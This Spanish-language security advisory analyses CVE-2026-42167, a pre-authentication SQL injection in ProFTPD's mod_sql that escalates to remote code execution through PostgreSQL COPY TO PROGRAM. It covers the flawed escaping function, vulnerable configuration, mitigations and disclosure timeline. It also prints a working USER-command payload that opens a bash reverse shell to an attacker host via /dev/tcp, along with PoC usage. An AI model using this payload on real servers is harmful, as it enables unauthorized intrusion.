
Pre-Auth RCE en ProFTPD mediante la omisión de is_escaped_text() en mod_sql (CVE-2026-42167)
mod_sqlAutor: Van Glenndon Enad
Descubrimiento Original: ZeroPath
Publicado: 1 de mayo de 2026
Severidad: Crítica
Puntuación CVSS v3.1: 8.1
Vector CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Puntuación CVSS v2: 7.6
Vector CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (Inyección SQL), CWE-78 (Inyección de Comandos del Sistema Operativo)
CVE-2026-42167 es una vulnerabilidad crítica de inyección SQL pre-autenticación en el módulo de extensión mod_sql de ProFTPD. Una falla lógica en la función is_escaped_text() permite que un atacante no autenticado omita el escape de caracteres SQL manipulando un comando USER cuyo valor satisface una heurística defectuosa de "ya escapado". El SQL inyectado se pasa directamente a la base de datos backend mediante PQexec(), que admite consultas apiladas.
Cuando el rol de base de datos de ProFTPD es un superusuario de PostgreSQL — una mala configuración común en despliegues contenedorizados — la inyección alcanza la directiva COPY TO PROGRAM de PostgreSQL, resultando en Ejecución Remota de Código a nivel de sistema operativo sin autenticación como el usuario del sistema postgres. No se requieren credenciales, acceso previo ni interacción del usuario.
| Componente | Versión |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Módulo | mod_sql + mod_sql_postgres |
| Versión Corregida | 1.3.9a (publicada el 27 de abril de 2026) |
| Backend | PostgreSQL (RCE); MySQL / SQLite (solo omisión de autenticación) |
ProFTPD es un servidor FTP de código abierto ampliamente desplegado. Según Shodan, existen más de 160.000 instancias de ProFTPD públicamente accesibles en internet. El módulo mod_sql se habilita comúnmente en paneles de control de hosting compartido, incluyendo cPanel, Plesk, DirectAdmin, Webmin e ISPConfig.
El módulo mod_sql de ProFTPD admite autenticación y registro de actividad basados en SQL. Las cadenas de formato de registro pueden incluir variables de sustitución como %U (nombre de usuario), %r (host remoto) y %m (comando FTP). Estas variables se expanden en tiempo de ejecución y se insertan en consultas SQL ejecutadas contra el backend configurado.
Una configuración vulnerable típica:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
En esta configuración, el valor proporcionado en el comando FTP USER se sustituye por %U y se incluye directamente en una sentencia SQL INSERT. Antes de la inserción, el valor se pasa a través de is_escaped_text() para determinar si necesita escape. Esta función contiene una falla lógica crítica.
is_escaped_text()Ubicada en contrib/mod_sql.c, la función aplica la siguiente heurística para decidir si una cadena está "ya escapada":
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Asumir que la cadena está escapada si:
* 1. Comienza con una comilla simple
* 2. Termina con una comilla simple
* 3. No contiene comillas simples internas
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* omitir escape */
}
return FALSE;
}
Cuando esta función devuelve TRUE, sql_resolved_append_text() (línea 777) inserta el valor crudo, sin escapar, directamente en la cadena de consulta. El valor se ejecuta luego mediante PQexec() en contrib/mod_sql_postgres.c (línea 1146), que admite consultas apiladas (multi-sentencia).
La heurística probablemente fue diseñada para detectar cadenas que ya estaban rodeadas por delimitadores de cadena SQL. Sin embargo, no intenta verificar que el contenido interno sea seguro — solo que no haya comillas simples adicionales. Esto significa que cualquier payload que:
''$$ de PostgreSQL)...pasará la verificación y se inyectará textualmente en la consulta SQL.
Cliente FTP ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ expandir %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ omitir escape │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ ejecutar SQL apilado
│ │ │ COPY TO PROGRAM
│ │ │── comando shell ──▶ SO
| Requisito | Notas |
|---|---|
mod_sql habilitado con registro SQL | Debe registrar una variable pre-autenticación como %U |
| Backend PostgreSQL | Requerido para RCE mediante COPY TO PROGRAM; MySQL/SQLite aún permiten omisión de autenticación |
| Rol de BD es superusuario de PostgreSQL | COPY TO PROGRAM está restringido a superusuarios o miembros de pg_execute_server_program |
bash disponible en el host de la BD | Requerido para la entrega de reverse shell mediante /dev/tcp |
| Conectividad de red | El contenedor de PostgreSQL debe poder alcanzar al atacante en el puerto del listener |
La condición de superusuario se cumple frecuentemente en despliegues contenedorizados donde el usuario de BD de ProFTPD se crea mediante POSTGRES_USER=... en la imagen oficial de Docker de PostgreSQL, o cuando un administrador otorga al rol de ProFTPD la propiedad de la base de datos.
Paso 1: El atacante envía un comando USER manipulado (pre-autenticación, sin credenciales)
│
▼
Paso 2: ProFTPD expande %U con el valor controlado por el atacante
│
▼
Paso 3: Omisión de is_escaped_text() — el SQL crudo pasa sin escapar
│
▼
Paso 4: PQexec() ejecuta la consulta apilada contra PostgreSQL
│
▼
Paso 5: COPY TO PROGRAM ejecuta el comando shell del atacante como usuario del SO postgres
│
▼
Paso 6: Reverse shell / exfiltración de archivos entregada al atacante
El payload de inyección se entrega mediante el comando FTP USER:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| Condición | ¿Satisfecha? | Razón |
|---|---|---|
Comienza con ' | ✅ | El primer carácter es ' |
Termina con ' | ✅ | El último carácter es ' |
| Sin comillas simples internas | ✅ | Las cadenas internas usan entrecomillado con dólar $$ |
| Segmento | Propósito |
|---|---|
', null, null); | Cierra limpiamente la sentencia INSERT original |
COPY (SELECT $$x$$) TO PROGRAM | Consulta apilada usando COPY TO PROGRAM de PostgreSQL |
$$bash -c ...$$ | Comando shell usando entrecomillado con dólar $$ para evitar comillas simples |
; --' | Termina la consulta apilada; --' comenta el resto y proporciona la ' de cierre para la omisión |
Advertencia: Este PoC se proporciona únicamente con fines educativos y de pruebas autorizadas. No lo utilice contra sistemas que no posea o para los cuales no tenga permiso escrito explícito para probar.
Ejemplo de uso:
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| Categoría | Descripción |
|---|---|
| Confidencialidad | Acceso de lectura completo al sistema de archivos como usuario del SO postgres |
| Integridad | Capacidad de escribir archivos, modificar contenidos de la base de datos, instalar backdoors |
| Disponibilidad | Interrupción del servicio, posible destrucción de datos |
| Autenticación | Explotable con cero credenciales pre-autenticación |
| Alcance | Se extiende más allá de ProFTPD al host subyacente de PostgreSQL |
Cualquier sistema donde ProFTPD esté co-ubicado con una instancia de PostgreSQL o tenga acceso de superusuario a ella está en riesgo de compromiso total del host. El movimiento lateral a sistemas adyacentes y la persistencia mediante trabajos cron o inyección de claves SSH son trivialmente alcanzables post-explotación.
is_escaped_text() con el manejo adecuado de consultas parametrizadasmod_sql por completo (elimine las directivas SQLLog)%U, %r, %m) de las definiciones de SQLNamedQueryINSERT en la tabla de registro y SELECT en la tabla de autenticaciónUSER que contengan comillas simples, COPY, PROGRAM o palabras clave SQL| Fecha | Evento |
|---|---|
| 28 de marzo de 2026 | Vulnerabilidad reportada a los mantenedores de ProFTPD |
| 7 de abril de 2026 | Comenzó la verificación del parche |
| 24 de abril de 2026 | Se asignó CVE-2026-42167 |
| 27 de abril de 2026 | Corrección confirmada; se publicó ProFTPD 1.3.9a |
| 28 de abril de 2026 | Publicado en NVD |
| 28–29 de abril de 2026 | Repositorios públicos de PoC publicados en GitHub |
| 1 de mayo de 2026 | Análisis independiente y PoC simplificado publicados |
Aviso Legal: Este análisis y prueba de concepto se publican estrictamente con fines educativos, de investigación y de seguridad defensiva. El autor no condona el acceso no autorizado a sistemas informáticos. Siempre obtenga permiso escrito explícito antes de realizar pruebas de seguridad contra cualquier sistema que no posea.